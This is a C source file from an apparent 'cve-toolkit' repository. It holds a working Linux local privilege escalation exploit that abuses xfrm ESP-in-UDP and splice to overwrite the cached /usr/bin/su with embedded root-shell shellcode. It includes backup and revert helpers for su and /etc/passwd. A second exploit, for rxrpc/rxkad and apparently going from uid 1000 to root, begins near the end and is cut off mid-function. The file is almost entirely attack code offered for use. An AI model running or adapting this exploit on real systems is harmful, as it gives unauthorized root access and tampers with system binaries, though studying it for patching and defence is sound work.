cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

cve-2026-43284.c (82666B)


      1 #define _GNU_SOURCE
      2 #include <arpa/inet.h>
      3 #include <errno.h>
      4 #include <fcntl.h>
      5 #include <linux/netlink.h>
      6 #include <linux/rtnetlink.h>
      7 #include <linux/xfrm.h>
      8 #include <net/if.h>
      9 #include <netinet/in.h>
     10 #include <sched.h>
     11 #include <stdint.h>
     12 #include <stdio.h>
     13 #include <stdlib.h>
     14 #include <string.h>
     15 #include <sys/ioctl.h>
     16 #include <sys/socket.h>
     17 #include <sys/stat.h>
     18 #include <sys/syscall.h>
     19 #include <sys/types.h>
     20 #include <sys/uio.h>
     21 #include <sys/wait.h>
     22 #include <unistd.h>
     23 
     24 #include "setup.h"
     25 #ifndef UDP_ENCAP
     26 #define UDP_ENCAP 100
     27 #endif
     28 #ifndef UDP_ENCAP_ESPINUDP
     29 #define UDP_ENCAP_ESPINUDP 2
     30 #endif
     31 #ifndef SOL_UDP
     32 #define SOL_UDP 17
     33 #endif
     34 
     35 #define ENC_PORT           4500
     36 #define SEQ_VAL            200
     37 #define REPLAY_SEQ         100
     38 #define TARGET_PATH        "/usr/bin/su"
     39 #define SU_BACKUP_PATH     "/tmp/.cve_2026_43284_su_backup"
     40 #define PASSWD_BACKUP_PATH "/tmp/.cve_2026_43284_passwd_backup"
     41 #define PATCH_OFFSET       0    /* overwrite whole ELF starting at file[0] */
     42 #define PAYLOAD_LEN        192  /* bytes of shell_elf to write (48 triggers) */
     43 #define ENTRY_OFFSET       0x78 /* shellcode entry inside the new ELF */
     44 
     45 /*
     46  * 192-byte minimal x86_64 root-shell ELF.
     47  *   _start at 0x400078:
     48  *     setgid(0); setuid(0); setgroups(0, NULL);
     49  *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
     50  *   PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
     51  *
     52  *   Setting TERM in the new shell's env silences the
     53  *   "tput: No value for $TERM" / "test: : integer expected" noise
     54  *   /etc/bash.bashrc and friends emit when TERM is unset.
     55  *
     56  * Code (from offset 0x78):
     57  *   31 ff               xor edi, edi
     58  *   31 f6               xor esi, esi
     59  *   31 c0               xor eax, eax
     60  *   b0 6a               mov al, 0x6a              ; setgid
     61  *   0f 05               syscall
     62  *   b0 69               mov al, 0x69              ; setuid
     63  *   0f 05               syscall
     64  *   b0 74               mov al, 0x74              ; setgroups
     65  *   0f 05               syscall
     66  *   6a 00               push 0                    ; envp[1] = NULL
     67  *   48 8d 05 12 00 00 00 lea rax, [rip+0x12]      ; rax = "TERM=xterm"
     68  *   50                  push rax                  ; envp[0]
     69  *   48 89 e2            mov rdx, rsp              ; rdx = envp
     70  *   48 8d 3d 12 00 00 00 lea rdi, [rip+0x12]      ; rdi = "/bin/sh"
     71  *   31 f6               xor esi, esi              ; rsi = NULL (argv)
     72  *   6a 3b 58            push 0x3b ; pop rax       ; rax = 59 (execve)
     73  *   0f 05               syscall                   ; execve("/bin/sh",NULL,envp)
     74  *   "TERM=xterm\0"      (offset 0xa5..0xaf)
     75  *   "/bin/sh\0"         (offset 0xb0..0xb7)
     76  */
     77 static const uint8_t shell_elf[PAYLOAD_LEN] = {
     78     0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
     79     0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
     80     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
     81     0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
     82     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     83     0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00,
     84     0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0,
     85     0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12,
     86     0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b,
     87     0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e,
     88     0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
     89 };
     90 
     91 extern int g_su_verbose;
     92 int        g_su_verbose = 0;
     93 #define SLOG(fmt, ...)                                                  \
     94   do {                                                                  \
     95     if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); \
     96   } while (0)
     97 
     98 static int write_proc(const char *path, const char *buf) {
     99   int fd = open(path, O_WRONLY);
    100   if (fd < 0) return -1;
    101   int n = write(fd, buf, strlen(buf));
    102   close(fd);
    103   return n;
    104 }
    105 
    106 static void setup_userns_netns(void) {
    107   uid_t real_uid = getuid();
    108   gid_t real_gid = getgid();
    109   if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    110     SLOG("unshare: %s", strerror(errno));
    111     exit(1);
    112   }
    113   write_proc("/proc/self/setgroups", "deny");
    114   char map[64];
    115   snprintf(map, sizeof(map), "0 %u 1", real_uid);
    116   if (write_proc("/proc/self/uid_map", map) < 0) {
    117     SLOG("uid_map: %s", strerror(errno));
    118     exit(1);
    119   }
    120   snprintf(map, sizeof(map), "0 %u 1", real_gid);
    121   if (write_proc("/proc/self/gid_map", map) < 0) {
    122     SLOG("gid_map: %s", strerror(errno));
    123     exit(1);
    124   }
    125   int s = socket(AF_INET, SOCK_DGRAM, 0);
    126   if (s < 0) {
    127     SLOG("socket: %s", strerror(errno));
    128     exit(1);
    129   }
    130   struct ifreq ifr;
    131   memset(&ifr, 0, sizeof(ifr));
    132   strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
    133   if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) {
    134     SLOG("SIOCGIFFLAGS: %s", strerror(errno));
    135     exit(1);
    136   }
    137   ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    138   if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) {
    139     SLOG("SIOCSIFFLAGS: %s", strerror(errno));
    140     exit(1);
    141   }
    142   close(s);
    143 }
    144 
    145 static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) {
    146   struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
    147   rta->rta_type      = type;
    148   rta->rta_len       = RTA_LENGTH(len);
    149   memcpy(RTA_DATA(rta), data, len);
    150   nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
    151 }
    152 
    153 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) {
    154   int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
    155   if (sk < 0) return -1;
    156   struct sockaddr_nl nl = {.nl_family = AF_NETLINK};
    157   if (bind(sk, (struct sockaddr *)&nl, sizeof(nl)) < 0) {
    158     close(sk);
    159     return -1;
    160   }
    161 
    162   char             buf[4096] = {0};
    163   struct nlmsghdr *nlh       = (struct nlmsghdr *)buf;
    164   nlh->nlmsg_type            = XFRM_MSG_NEWSA;
    165   nlh->nlmsg_flags           = NLM_F_REQUEST | NLM_F_ACK;
    166   nlh->nlmsg_pid             = getpid();
    167   nlh->nlmsg_seq             = 1;
    168   nlh->nlmsg_len             = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
    169 
    170   struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
    171   xs->id.daddr.a4             = inet_addr("127.0.0.1");
    172   xs->id.spi                  = htonl(spi);
    173   xs->id.proto                = IPPROTO_ESP;
    174   xs->saddr.a4                = inet_addr("127.0.0.1");
    175   xs->family                  = AF_INET;
    176   xs->mode                    = XFRM_MODE_TRANSPORT;
    177   xs->replay_window           = 0;
    178   xs->reqid                   = 0x1234;
    179   xs->flags                   = XFRM_STATE_ESN;
    180   xs->lft.soft_byte_limit     = (uint64_t)-1;
    181   xs->lft.hard_byte_limit     = (uint64_t)-1;
    182   xs->lft.soft_packet_limit   = (uint64_t)-1;
    183   xs->lft.hard_packet_limit   = (uint64_t)-1;
    184   xs->sel.family              = AF_INET;
    185   xs->sel.prefixlen_d         = 32;
    186   xs->sel.prefixlen_s         = 32;
    187   xs->sel.daddr.a4            = inet_addr("127.0.0.1");
    188   xs->sel.saddr.a4            = inet_addr("127.0.0.1");
    189 
    190   {
    191     char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
    192     memset(alg_buf, 0, sizeof(alg_buf));
    193     struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
    194     strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1);
    195     aa->alg_key_len   = 32 * 8;
    196     aa->alg_trunc_len = 128;
    197     memset(aa->alg_key, 0xAA, 32);
    198     put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
    199   }
    200   {
    201     char alg_buf[sizeof(struct xfrm_algo) + 16];
    202     memset(alg_buf, 0, sizeof(alg_buf));
    203     struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
    204     strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1);
    205     ea->alg_key_len = 16 * 8;
    206     memset(ea->alg_key, 0xBB, 16);
    207     put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
    208   }
    209   {
    210     struct xfrm_encap_tmpl enc;
    211     memset(&enc, 0, sizeof(enc));
    212     enc.encap_type  = UDP_ENCAP_ESPINUDP;
    213     enc.encap_sport = htons(ENC_PORT);
    214     enc.encap_dport = htons(ENC_PORT);
    215     enc.encap_oa.a4 = 0;
    216     put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
    217   }
    218   {
    219     char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
    220     memset(esn_buf, 0, sizeof(esn_buf));
    221     struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
    222     esn->bmp_len                      = 1;
    223     esn->oseq                         = 0;
    224     esn->seq                          = REPLAY_SEQ;
    225     esn->oseq_hi                      = 0;
    226     esn->seq_hi                       = patch_seqhi;
    227     esn->replay_window                = 32;
    228     put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
    229   }
    230 
    231   if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) {
    232     close(sk);
    233     return -1;
    234   }
    235   char rbuf[4096];
    236   int  n = recv(sk, rbuf, sizeof(rbuf), 0);
    237   if (n < 0) {
    238     close(sk);
    239     return -1;
    240   }
    241   struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
    242   if (rh->nlmsg_type == NLMSG_ERROR) {
    243     struct nlmsgerr *e = NLMSG_DATA(rh);
    244     if (e->error) {
    245       close(sk);
    246       return -1;
    247     }
    248   }
    249   close(sk);
    250   return 0;
    251 }
    252 
    253 static int do_one_write(const char *path, off_t offset, uint32_t spi) {
    254   int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
    255   if (sk_recv < 0) return -1;
    256   int one = 1;
    257   setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    258   struct sockaddr_in sa_d = {
    259       .sin_family = AF_INET,
    260       .sin_port   = htons(ENC_PORT),
    261       .sin_addr   = {inet_addr("127.0.0.1")},
    262   };
    263   if (bind(sk_recv, (struct sockaddr *)&sa_d, sizeof(sa_d)) < 0) {
    264     close(sk_recv);
    265     return -1;
    266   }
    267   int encap = UDP_ENCAP_ESPINUDP;
    268   if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
    269     close(sk_recv);
    270     return -1;
    271   }
    272   int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
    273   if (sk_send < 0) {
    274     close(sk_recv);
    275     return -1;
    276   }
    277   if (connect(sk_send, (struct sockaddr *)&sa_d, sizeof(sa_d)) < 0) {
    278     close(sk_send);
    279     close(sk_recv);
    280     return -1;
    281   }
    282   int file_fd = open(path, O_RDONLY);
    283   if (file_fd < 0) {
    284     close(sk_send);
    285     close(sk_recv);
    286     return -1;
    287   }
    288 
    289   int pfd[2];
    290   if (pipe(pfd) < 0) {
    291     close(file_fd);
    292     close(sk_send);
    293     close(sk_recv);
    294     return -1;
    295   }
    296 
    297   uint8_t hdr[24];
    298   *(uint32_t *)(hdr + 0) = htonl(spi);
    299   *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);
    300   memset(hdr + 8, 0xCC, 16);
    301 
    302   struct iovec iov_h = {.iov_base = hdr, .iov_len = sizeof(hdr)};
    303   if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
    304     close(file_fd);
    305     close(pfd[0]);
    306     close(pfd[1]);
    307     close(sk_send);
    308     close(sk_recv);
    309     return -1;
    310   }
    311   off_t   off = offset;
    312   ssize_t s   = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
    313   if (s != 16) {
    314     close(file_fd);
    315     close(pfd[0]);
    316     close(pfd[1]);
    317     close(sk_send);
    318     close(sk_recv);
    319     return -1;
    320   }
    321   s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
    322   /* still proceed regardless of splice rc — kernel may have already
    323    * decrypted the page in the time between splice and recv */
    324   usleep(150 * 1000);
    325 
    326   close(file_fd);
    327   close(pfd[0]);
    328   close(pfd[1]);
    329   close(sk_send);
    330   close(sk_recv);
    331   return s == 40 ? 0 : -1;
    332 }
    333 
    334 static int verify_byte(const char *path, off_t offset, uint8_t want) {
    335   int fd = open(path, O_RDONLY);
    336   if (fd < 0) return -1;
    337   uint8_t got;
    338   if (pread(fd, &got, 1, offset) != 1) {
    339     close(fd);
    340     return -1;
    341   }
    342   close(fd);
    343   return got == want ? 0 : -1;
    344 }
    345 
    346 /* ------------------------------------------------------------------ */
    347 /* Backup / Revert for /usr/bin/su                                     */
    348 /*                                                                    */
    349 /* A copy of the original su binary is saved before any corruption.    */
    350 /* revert_su() restores it (including drop_caches so the page cache   */
    351 /* is re-read from disk), then removes the backup temp file.           */
    352 /* ------------------------------------------------------------------ */
    353 
    354 static int backup_su(void) {
    355   struct stat st;
    356   if (stat(SU_BACKUP_PATH, &st) == 0) {
    357     SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH);
    358     return 0;
    359   }
    360   int src = open(TARGET_PATH, O_RDONLY);
    361   if (src < 0) {
    362     SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno));
    363     return -1;
    364   }
    365   int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600);
    366   if (dst < 0) {
    367     SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno));
    368     close(src);
    369     return -1;
    370   }
    371   char    buf[4096];
    372   ssize_t n;
    373   while ((n = read(src, buf, sizeof(buf))) > 0) {
    374     if (write(dst, buf, n) != n) {
    375       SLOG("backup_su: write failed: %s", strerror(errno));
    376       close(src);
    377       close(dst);
    378       unlink(SU_BACKUP_PATH);
    379       return -1;
    380     }
    381   }
    382   close(src);
    383   close(dst);
    384   if (n < 0) {
    385     SLOG("backup_su: read failed: %s", strerror(errno));
    386     unlink(SU_BACKUP_PATH);
    387     return -1;
    388   }
    389   SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH);
    390   return 0;
    391 }
    392 
    393 static int revert_su(void) {
    394   int src = open(SU_BACKUP_PATH, O_RDONLY);
    395   if (src < 0) {
    396     SLOG("revert_su: no backup at %s", SU_BACKUP_PATH);
    397     return -1;
    398   }
    399   int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC);
    400   if (dst < 0) {
    401     SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno));
    402     close(src);
    403     return -1;
    404   }
    405   char    buf[4096];
    406   ssize_t n;
    407   while ((n = read(src, buf, sizeof(buf))) > 0) {
    408     if (write(dst, buf, n) != n) {
    409       SLOG("revert_su: write failed: %s", strerror(errno));
    410       close(src);
    411       close(dst);
    412       return -1;
    413     }
    414   }
    415   close(src);
    416   close(dst);
    417   if (n < 0) {
    418     SLOG("revert_su: read failed: %s", strerror(errno));
    419     return -1;
    420   }
    421   /* Sync to disk and drop caches so the restored page cache is read */
    422   int sfd = open(TARGET_PATH, O_RDONLY);
    423   if (sfd >= 0) {
    424     syncfs(sfd);
    425     close(sfd);
    426   }
    427   write_proc("/proc/sys/vm/drop_caches", "1");
    428   unlink(SU_BACKUP_PATH);
    429   SLOG("%s reverted from backup, page cache flushed", TARGET_PATH);
    430   return 0;
    431 }
    432 
    433 /* ------------------------------------------------------------------ */
    434 /* Backup / Revert for /etc/passwd                                     */
    435 /*                                                                     */
    436 /* A copy of the original /etc/passwd is saved before any corruption.  */
    437 /* revert_passwd() restores it (including drop_caches so the page      */
    438 /* cache is re-read from disk), then removes the backup temp file.     */
    439 /* ------------------------------------------------------------------ */
    440 
    441 #define PASSWD_TARGET_PATH "/etc/passwd"
    442 
    443 static int backup_passwd(void) {
    444   struct stat st;
    445   if (stat(PASSWD_BACKUP_PATH, &st) == 0) {
    446     SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH);
    447     return 0;
    448   }
    449   int src = open(PASSWD_TARGET_PATH, O_RDONLY);
    450   if (src < 0) {
    451     SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno));
    452     return -1;
    453   }
    454   int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600);
    455   if (dst < 0) {
    456     SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno));
    457     close(src);
    458     return -1;
    459   }
    460   char    buf[4096];
    461   ssize_t n;
    462   while ((n = read(src, buf, sizeof(buf))) > 0) {
    463     if (write(dst, buf, n) != n) {
    464       SLOG("backup_passwd: write failed: %s", strerror(errno));
    465       close(src);
    466       close(dst);
    467       unlink(PASSWD_BACKUP_PATH);
    468       return -1;
    469     }
    470   }
    471   close(src);
    472   close(dst);
    473   if (n < 0) {
    474     SLOG("backup_passwd: read failed: %s", strerror(errno));
    475     unlink(PASSWD_BACKUP_PATH);
    476     return -1;
    477   }
    478   SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH);
    479   return 0;
    480 }
    481 
    482 static int revert_passwd(void) {
    483   int src = open(PASSWD_BACKUP_PATH, O_RDONLY);
    484   if (src < 0) {
    485     SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH);
    486     return -1;
    487   }
    488   int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC);
    489   if (dst < 0) {
    490     SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno));
    491     close(src);
    492     return -1;
    493   }
    494   char    buf[4096];
    495   ssize_t n;
    496   while ((n = read(src, buf, sizeof(buf))) > 0) {
    497     if (write(dst, buf, n) != n) {
    498       SLOG("revert_passwd: write failed: %s", strerror(errno));
    499       close(src);
    500       close(dst);
    501       return -1;
    502     }
    503   }
    504   close(src);
    505   close(dst);
    506   if (n < 0) {
    507     SLOG("revert_passwd: read failed: %s", strerror(errno));
    508     return -1;
    509   }
    510   /* Sync to disk and drop caches so the restored page cache is read */
    511   int sfd = open(PASSWD_TARGET_PATH, O_RDONLY);
    512   if (sfd >= 0) {
    513     syncfs(sfd);
    514     close(sfd);
    515   }
    516   write_proc("/proc/sys/vm/drop_caches", "1");
    517   unlink(PASSWD_BACKUP_PATH);
    518   SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH);
    519   return 0;
    520 }
    521 
    522 static int corrupt_su(void) {
    523   setup_userns_netns();
    524   usleep(100 * 1000);
    525 
    526   /* Install 40 xfrm SAs, one per 4-byte chunk.  Each carries the
    527    * desired payload word in its seq_hi field. */
    528   for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    529     uint32_t spi   = 0xDEADBE10 + i;
    530     uint32_t seqhi = ((uint32_t)shell_elf[i * 4 + 0] << 24) | ((uint32_t)shell_elf[i * 4 + 1] << 16) |
    531                      ((uint32_t)shell_elf[i * 4 + 2] << 8) | ((uint32_t)shell_elf[i * 4 + 3]);
    532     if (add_xfrm_sa(spi, seqhi) < 0) {
    533       SLOG("add_xfrm_sa #%d failed", i);
    534       return -1;
    535     }
    536   }
    537   SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
    538 
    539   for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    540     uint32_t spi = 0xDEADBE10 + i;
    541     off_t    off = PATCH_OFFSET + i * 4;
    542     if (do_one_write(TARGET_PATH, off, spi) < 0) {
    543       SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
    544       return -1;
    545     }
    546   }
    547   SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
    548   return 0;
    549 }
    550 
    551 int su_lpe_main(int argc, char **argv) {
    552   int revert_mode = 0;
    553   for (int i = 1; i < argc; i++) {
    554     if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
    555       g_su_verbose = 1;
    556     else if (!strcmp(argv[i], "--corrupt-only"))
    557       ; /* compat: this body always corrupts only */
    558     else if (!strcmp(argv[i], "--revert"))
    559       revert_mode = 1;
    560   }
    561   if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
    562 
    563   if (revert_mode) return revert_su() == 0 ? 0 : 1;
    564 
    565   /* Back up the original su binary before any corruption attempt. */
    566   backup_su();
    567 
    568   pid_t cpid = fork();
    569   if (cpid < 0) return 1;
    570   if (cpid == 0) {
    571     int rc = corrupt_su();
    572     _exit(rc == 0 ? 0 : 2);
    573   }
    574   int cstatus;
    575   waitpid(cpid, &cstatus, 0);
    576   if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
    577     SLOG("corruption stage failed (status=0x%x)", cstatus);
    578     return 1;
    579   }
    580 
    581   /* Sanity check: bytes at the embedded ELF entry (file offset 0x78
    582    * after our overwrite) should be 0x31 0xff (xor edi, edi — first
    583    * instruction of the new shellcode). */
    584   if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
    585     SLOG("post-write verify failed (target unchanged)");
    586     return 1;
    587   }
    588   SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", ENTRY_OFFSET);
    589   return 0;
    590 }
    591 /*
    592  * rxrpc/rxkad LPE — uid=1000 → root
    593  */
    594 
    595 #define _GNU_SOURCE
    596 #include <arpa/inet.h>
    597 #include <errno.h>
    598 #include <fcntl.h>
    599 #include <linux/if_alg.h>
    600 #include <linux/keyctl.h>
    601 #include <linux/rxrpc.h>
    602 #include <net/if.h>
    603 #include <netinet/in.h>
    604 #include <poll.h>
    605 #include <sched.h>
    606 #include <signal.h>
    607 #include <stdarg.h>
    608 #include <stdint.h>
    609 #include <stdio.h>
    610 #include <stdlib.h>
    611 #include <string.h>
    612 #include <sys/ioctl.h>
    613 #include <sys/mman.h>
    614 #include <sys/socket.h>
    615 #include <sys/stat.h>
    616 #include <sys/syscall.h>
    617 #include <sys/types.h>
    618 #include <sys/uio.h>
    619 #include <sys/wait.h>
    620 #include <termios.h>
    621 #include <time.h>
    622 #include <unistd.h>
    623 
    624 #ifndef AF_RXRPC
    625 #define AF_RXRPC 33
    626 #endif
    627 #ifndef PF_RXRPC
    628 #define PF_RXRPC AF_RXRPC
    629 #endif
    630 #ifndef SOL_RXRPC
    631 #define SOL_RXRPC 272
    632 #endif
    633 #ifndef SOL_ALG
    634 #define SOL_ALG 279
    635 #endif
    636 #ifndef AF_ALG
    637 #define AF_ALG 38
    638 #endif
    639 #ifndef MSG_SPLICE_PAGES
    640 #define MSG_SPLICE_PAGES 0x8000000
    641 #endif
    642 
    643 /* ---- rxrpc constants ---- */
    644 #define RXRPC_PACKET_TYPE_DATA      1
    645 #define RXRPC_PACKET_TYPE_ACK       2
    646 #define RXRPC_PACKET_TYPE_ABORT     4
    647 #define RXRPC_PACKET_TYPE_CHALLENGE 6
    648 #define RXRPC_PACKET_TYPE_RESPONSE  7
    649 #define RXRPC_CLIENT_INITIATED      0x01
    650 #define RXRPC_REQUEST_ACK           0x02
    651 #define RXRPC_LAST_PACKET           0x04
    652 #define RXRPC_CHANNELMASK           3
    653 #define RXRPC_CIDSHIFT              2
    654 
    655 struct rxrpc_wire_header {
    656   uint32_t epoch;
    657   uint32_t cid;
    658   uint32_t callNumber;
    659   uint32_t seq;
    660   uint32_t serial;
    661   uint8_t  type;
    662   uint8_t  flags;
    663   uint8_t  userStatus;
    664   uint8_t  securityIndex;
    665   uint16_t cksum; /* big-endian on wire */
    666   uint16_t serviceId;
    667 } __attribute__((packed));
    668 
    669 struct rxkad_challenge {
    670   uint32_t version;
    671   uint32_t nonce;
    672   uint32_t min_level;
    673   uint32_t __padding;
    674 } __attribute__((packed));
    675 
    676 /* Attacker-chosen 8-byte session key used for the rxkad token.
    677  * Mutable because the LPE brute-force iterates over keys looking for
    678  * one that decrypts the file's UID field to a "0:" prefix. */
    679 static uint8_t SESSION_KEY[8] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
    680 
    681 #define LOG(fmt, ...)                                                       \
    682   do {                                                                      \
    683     if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); \
    684   } while (0)
    685 #define WARN(fmt, ...)                                                      \
    686   do {                                                                      \
    687     if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); \
    688   } while (0)
    689 #define DBG(fmt, ...)                                                       \
    690   do {                                                                      \
    691     if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); \
    692   } while (0)
    693 
    694 /* =================================================================== */
    695 /* unshare + map setup                                                  */
    696 /* =================================================================== */
    697 
    698 static int write_file(const char *path, const char *fmt, ...) {
    699   int fd = open(path, O_WRONLY);
    700   if (fd < 0) return -1;
    701   char    buf[256];
    702   va_list ap;
    703   va_start(ap, fmt);
    704   int n = vsnprintf(buf, sizeof(buf), fmt, ap);
    705   va_end(ap);
    706   int r = (int)write(fd, buf, n);
    707   close(fd);
    708   return r;
    709 }
    710 
    711 static int do_unshare_userns_netns(void) {
    712   uid_t real_uid = getuid();
    713   gid_t real_gid = getgid();
    714   if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    715     WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
    716     return -1;
    717   }
    718   LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
    719   write_file("/proc/self/setgroups", "deny");
    720   if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
    721     WARN("uid_map: %s", strerror(errno));
    722     return -1;
    723   }
    724   if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
    725     WARN("gid_map: %s", strerror(errno));
    726     return -1;
    727   }
    728   LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid);
    729 
    730   /* ifup lo */
    731   int s = socket(AF_INET, SOCK_DGRAM, 0);
    732   if (s >= 0) {
    733     struct ifreq ifr;
    734     memset(&ifr, 0, sizeof(ifr));
    735     strcpy(ifr.ifr_name, "lo");
    736     if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
    737       ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    738       if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
    739         WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
    740       else
    741         LOG("lo brought UP in new netns");
    742     }
    743     close(s);
    744   }
    745   return 0;
    746 }
    747 
    748 /* =================================================================== */
    749 /* rxrpc key (rxkad v1 token with attacker session key)                 */
    750 /* =================================================================== */
    751 
    752 static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) {
    753   return syscall(SYS_add_key, type, desc, payload, plen, ringid);
    754 }
    755 
    756 static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) {
    757   uint8_t *p       = out;
    758   uint32_t now     = (uint32_t)time(NULL);
    759   uint32_t expires = now + 86400;
    760   *(uint32_t *)p   = htonl(0);
    761   p += 4; /* flags */
    762   const char *cell = "evil";
    763   uint32_t    clen = strlen(cell);
    764   *(uint32_t *)p   = htonl(clen);
    765   p += 4;
    766   memcpy(p, cell, clen);
    767   uint32_t pad = (4 - (clen & 3)) & 3;
    768   memset(p + clen, 0, pad);
